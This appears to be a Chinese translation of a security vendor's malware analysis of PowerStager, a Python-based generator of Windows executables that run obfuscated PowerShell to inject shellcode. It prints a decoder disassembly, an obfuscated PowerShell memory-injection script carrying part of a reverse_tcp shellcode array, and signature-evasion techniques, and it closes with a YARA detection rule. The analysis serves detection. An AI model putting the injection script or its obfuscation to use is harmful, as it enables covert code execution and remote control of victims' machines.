PowerStager工具分析
工具介紹
在這篇文章中,我將介紹一種名為PowerStager的工具,該工具自2017年4月起一直處於我的觀察之下。它引起我的注意的主要原因是由於它在PowerShell段採用了相當獨特的混淆技術,至今為止我還沒有看到在其他工具中有使用這一技術。 在跟蹤這項技術時,我發現在2017年12月左右,PowerStager在野外攻擊的使用率有所上升。
下面我將詳細介紹該工具是如何工作的,然後介紹一些可以觀察到的攻擊和該工具的部件。
PowerStager的核心是一個Python腳本,它使用C源代碼生成Windows可執行文件,然後利用多層模糊處理啟動PowerShell腳本,最終目標是執行shellcode有效負載。 PowerStager有很多配置選項,使其具有相當大的靈活性。 以下是代碼中列出的一些配置選項:
能夠選擇目標平台(x86或x64)
能夠在默認值之上使用額外的模糊處理
能夠顯示社交工程的自定義錯誤消息/可執行圖標
能夠使用Meterpreter或其他內置的shellcode有效載荷
能夠獲取遠程負載或將其嵌入到可執行文件中
能夠使用UAC升級許可權
對於我將要覆蓋的樣本,總體流程如下圖所示。
在深入分析迄今為止所觀察到的所有樣本之前,我將會對以上每一部分內容進行解析。
PE分析
應該指出的是,大部分分析是在實際發現源代碼之前進行的。 看了大量的樣本後,很明顯,它們是以編程方式生成的,所以我著手嘗試確定來源。
每個可執行文件中都有一個嵌入的字元串,用於創建文件。
在深入分析迄今為止所觀察到的所有樣本之前,我將會涵蓋每一部分內容。
文件名稱在樣本之間是隨機的,這是一個關於創建者的主要線索。 該值稍後在多層PowerShell腳本中會再次被引用,並進一步證實了這一理論,因為這些隨機文件名通常是隨機生成的,並且不會嵌入其中。
由PowerStager創建的最初的可執行文件非常簡單。 它獲取%TMP%環境路徑並使用嵌入的文件名創建文件。 之後,它會對可執行文件的.data部分中找到的數據執行兩次memcpy()調用,並將它們移動到新的內存頁面中。 對於在這個分析中看到的示例,第一個memcpy()從.data部分的偏移量0x20獲取數據,而第二個memcpy()從偏移量0x67E0獲取相同大小的數據。 最後,在最終將其保存到文件之前,它會對其執行解碼功能。
0040164E |> /8D95 D8C6FFFF /LEA EDX,[LOCAL.3658]
00401654 |. |8B45 F4 |MOV EAX,[LOCAL.3]
00401657 |. |01D0 |ADD EAX,EDX ; 75809731.004067E0
00401659 |. |0FB618 |MOVZX EBX,BYTE PTR DS:[EAX]
0040165C |. |8B4D F4 |MOV ECX,[LOCAL.3]
0040165F |. |89C8 |MOV EAX,ECX
00401661 |. |C1E8 06 |SHR EAX,6
00401664 |. |BA 9D889704 |MOV EDX,497889D
00401669 |. |F7E2 |MUL EDX ; 75809731.004067E0
0040166B |. |89D0 |MOV EAX,EDX ; 75809731.004067E0
0040166D |. |C1E8 02 |SHR EAX,2
00401670 |. |69C0 C0370000 |IMUL EAX,EAX,37C0
00401676 |. |29C1 |SUB ECX,EAX
00401678 |. |89C8 |MOV EAX,ECX
0040167A |. |0FB68405 188FFF>|MOVZX EAX,BYTE PTR SS:[EBP+EAX+FFFF8F18]
00401682 |. |31C3 |XOR EBX,EAX
00401684 |. |89D9 |MOV ECX,EBX
00401686 |. |8D95 D8C6FFFF |LEA EDX,[LOCAL.3658]
0040168C |. |8B45 F4 |MOV EAX,[LOCAL.3]
0040168F |. |01D0 |ADD EAX,EDX ; 75809731.004067E0
00401691 |. |8808 |MOV BYTE PTR DS:[EAX],CL
00401693 |. |8345 F4 01 |ADD [LOCAL.3],1
00401697 |> |8B45 F4 MOV EAX,[LOCAL.3] ; ||||
0040169A |. |3D BF370000 |CMP EAX,37BF ; ||||
0040169F |.^76 AD JBE SHORT 75809731.0040164E ; ||||
第二組數據是一個相等長度的異或鍵,這個功能只是對兩段數據的每一個位元組進行異或,然後將輸出寫入文件。
它再次經歷這個過程,從。數據部分複製兩部分數據,並將它們異或以解碼第一個PowerShell的命令,然後將其傳遞給CreateProcessA();這個命令將在下一節中進行分析。
最後,可執行文件調用MessageBoxA並顯示一個假的錯誤消息。請注意,該工具為用戶提供是否包含此錯誤消息的選項。
PowerShell分析
啟動的第一個PowerShell腳本從簡單的十六進位 - > ASCII混淆開始。 樣品之間,參數是隨機混合併且每次都縮短的不同。
PowerSHeLl -WiNdOwsty hiDDeN -comMA "(-JoIn(("2628277b317d7b307d27 …
現在查看源代碼,可以看到它將這些參數傳遞到混淆函數的哪個位置,這使得從這個角度進行標識更加困難。
: "[_OBF_POWERSHELL_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_COMMAND_] "[_PS_LOAD_]"",
雖然命令和情況可能會改變,但順序不會。
解碼的腳本是第一個利用前面提到的獨特的混淆技術。 它結合了多種風格的令牌替換混淆和鏈接調用函數來構建一個簡單的base64解碼和執行第三個腳本的新腳本。
以下是您通常使用令牌替換(複合格式)混淆查找的內容。
(""-f"LE","i","Set-Var","ab")
這是通過將每個「{#}」替換為在數組中的索引處找到的相應字元串值來構建字元串「Set-Variable」。
新方法可以在相同的前提下工作,但不是直接調用索引,而是通過執行兩個replace()調用來構建格式項的初始字元串。 從表面上看,理解和構建字元串「數值」並不難,但從掃描的角度來看,它有助於進一步混淆命令並防止常見的簽名技術。
(("4 2 1 0 3"-REpLaCe"w+","{$}"-RePLACE" ","")-f"u","l","a","e","v")
在這個階段執行的第三個腳本還是一個混淆技術的組合,正如現在從源代碼已知的那樣,這些混淆技術通過單獨的混淆函數來改變這個代碼樣本以進行採樣。
$piPtZNxr1f5K=&("ad"+"d-"+"TyPE") -m "[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);" -name "Win32" -ns Win32Functions -pas;[byTE[]]$RDm7s2YDUaBL=0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,
……
0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x1,0xc3,0x29,0xc6,0x75,0xee,0xc3;$lXw9sqCMdGHQ=$piPtZNxr1f5K::(""-f"o","lAll","viRtuA","C").inVokE(0,[Math]::(("2 0 1"-REpLAcE"w+","{$}"-rEPlaCe" ","")-f"a","x","m").INvoke($RDm7s2YDUaBL.(("1 5 2 3 0 4"-RepLaCe"w+","{$}"-ReplAce" ","")-f"t","l","n","g","h","e"),0x1000),0x3000,0x40);for($Zxv0oxgiqKpR=0;$Zxv0oxgiqKpR -le ($RDm7s2YDUaBL.("lEn"+"G"+"T"+"h")-1);$Zxv0oxgiqKpR++){[VoID]$piPtZNxr1f5K::(("0 3 0 2 3 1"-RepLAce"w+","{$}"-rEplacE" ","")-f"m","t","s","e").INVOKe([InTptr]($lXw9sqCMdGHQ.ToInt32()+$Zxv0oxgiqKpR),$RDm7s2YDUaBL[$Zxv0oxgiqKpR],1)};$piPtZNxr1f5K::("CrEatETHrE"+"A"+"d").InvoKE(0,0,$lXw9sqCMdGHQ,0,0,0);.(""-f"STarT-slEep") 100000
這麼標準的shellcode似乎並不應該出現在這裡, 然而,在源代碼中有多個靜態的shellcode blob,然後嵌入一個Meterpreter reverse_tcp shellcode的選項。 對於我手動查看的少數幾個實例,每個實例都是源代碼中嵌入的「reverse_tcp stager」。
總共有7個可從腳本生成的PowerShell腳本,下面列出了注釋名稱,並顯示了我在開始時試圖說明的一般執行過程。
Main
Base64 decoder
XOR decryptor
System.Net.WebClient
Encoded command
Memory injection
Reverse powershell
總而言之,我覺得這是一個很好的組合框架,可以提供良好的模糊性和靈活性,避免檢測。
野外檢測
現在我已經對樣本進行了分析,並找到了確認上述分析工作的源代碼,接下來我將簡要地談談在野外發生的攻擊。
截至2017年12月29日,Palo Alto Networks已經在野外觀察了502個獨特的PowerStager樣本。在我能夠確定目標的樣本來看,他們都在針對西歐媒體和一些商品批發組織;然而,也有許多樣品被確定為用於測試和銷售POC的演示。在我看來這並不需要多驚訝,因為藍隊,紅隊和安全公司經常需要測試新的工具來繼續創新。
查看樣本中靜態配置的文件名,我發現只有7個文件名被多次使用,並且在9個樣本中都找到了同一個文件名。所有重複的文件名都與測試相關 - 例如。掃描文件,添加一個位元組,再次掃描文件,以其他方式稍微修改文件,再次掃描,如此等等。
構建示例時,PowerStager的C源代碼中包含一個Manifest,用於定義可執行文件的某些屬性。這提供了一個體面的機制來跟蹤樣本,雖然它看起來是一個微不足道的改變。具體來說就是,它讓 「Description」 欄位是靜態的,「Company Name」 始終以「INC。」結尾。
rc_company_name= names.get_last_name() + " INC."
rc_description= "Lorem ipsum dolor sit amet, consecteteur adipiscing elit."
rc_internal_name= "".join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(10))
rc_legal_name= names.get_full_name()
rc_original_filename= output.split("/")[-1:][0]
rc_product_name= rc_internal_name
您會注意到「Original Filename」欄位被設置為「output」 變數的一部分。 這是在編譯時指定的必填欄位,並提供對樣本背後的人的一個短暫的一瞥。 雖然此欄位中有超過427個唯一值,但下表顯示了與多個樣本關聯的文件的名稱。
其他值得注意的名字包括可執行偽裝的常用目標:vnc,vlc,Skype,記事本和Minecraft。
此外,「ProductName」欄位將始終為具有混合大寫字母和數字的10個字元的字元串。
這些都提供了有用的方法來靜態描述這些文件,在動態分析過程中加上獨特的混淆和PowerShell方法,可以很好地識別這些文件。
對於錯誤消息,除30個樣本外,都包含默認錯誤消息。 沒有簡單地包含沒有錯誤信息的那些。
以下YARA規則將為生成的Windows可執行文件的x86和x64變體提供額外的覆蓋範圍。
rule powerstager
{
meta:
author = "Jeff White - jwhite@paloaltonetworks.com @noottrak"
date = "02JAN2018"
hash1 = "758097319d61e2744fb6b297f0bff957c6aab299278c1f56a90fba197795a0fa" //x86
hash2 = "83e714e72d9f3c500cad610c4772eae6152a232965191f0125c1c6f97004b7b5" //x64
description = "Detects PowerStager Windows executable, both x86 and x64"
strings:
$filename = /%s\[a-zA-Z0-9]/
$pathname = "TEMP" wide ascii
//$errormsg = "The version of this file is not compatible with the version of Windows you"re running." wide ascii
$filedesc = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit" wide ascii
$apicall_01 = "memset"
$apicall_02 = "getenv"
$apicall_03 = "fopen"
$apicall_04 = "memcpy"
$apicall_05 = "fwrite"
$apicall_06 = "fclose"
$apicall_07 = "CreateProcessA"
$decoder_x86_01 = { 8D 95 [4] 8B 45 ?? 01 D0 0F B6 18 8B 4D ?? }
$decoder_x86_02 = { 89 C8 0F B6 84 05 [4] 31 C3 89 D9 8D 95 [4] 8B 45 ?? 01 D0 88 08 83 45 [2] 8B 45 ?? 3D }
$decoder_x64_01 = { 8B 85 [4] 48 98 44 0F [7] 8B 85 [4] 48 63 C8 48 }
$decoder_x64_02 = { 48 89 ?? 0F B6 [3-6] 44 89 C2 31 C2 8B 85 [4] 48 98 }
condition:
uint16be(0) == 0x4D5A
and
all of ($apicall_*)
and
$filename
and
$pathname
and
$filedesc
and
(2 of ($decoder_x86*) or 2 of ($decoder_x64*))
}
總結
雖然這不是最先進的工具集,但作者在嘗試混淆和動態檢測時遇到了很多麻煩。 正如我之前提到的,PowerStager已經涵蓋了很多混淆和靈活性的基礎,但是迄今為止還沒有看到太多的用法。 現在來看,它正在逐步的崛起。
我們目前通過PowerStager標籤跟蹤AutoFocus中的PowerStager。 Wildfire已經更新了新的簽名,以確保對這些可執行文件的保護。 YARA文件,PE元數據以及與此工具相關的哈希列表可以在Unit 42 GitHub上找到。
TAG:嘶吼RoarTalk |